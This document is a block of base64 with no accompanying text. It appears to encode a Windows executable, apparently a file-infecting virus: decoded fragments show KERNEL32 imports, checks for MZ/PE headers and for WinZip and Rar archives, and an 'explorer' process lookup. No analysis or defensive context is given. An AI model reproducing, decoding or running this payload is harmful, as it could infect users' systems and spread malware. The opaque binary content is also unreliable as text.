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 QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 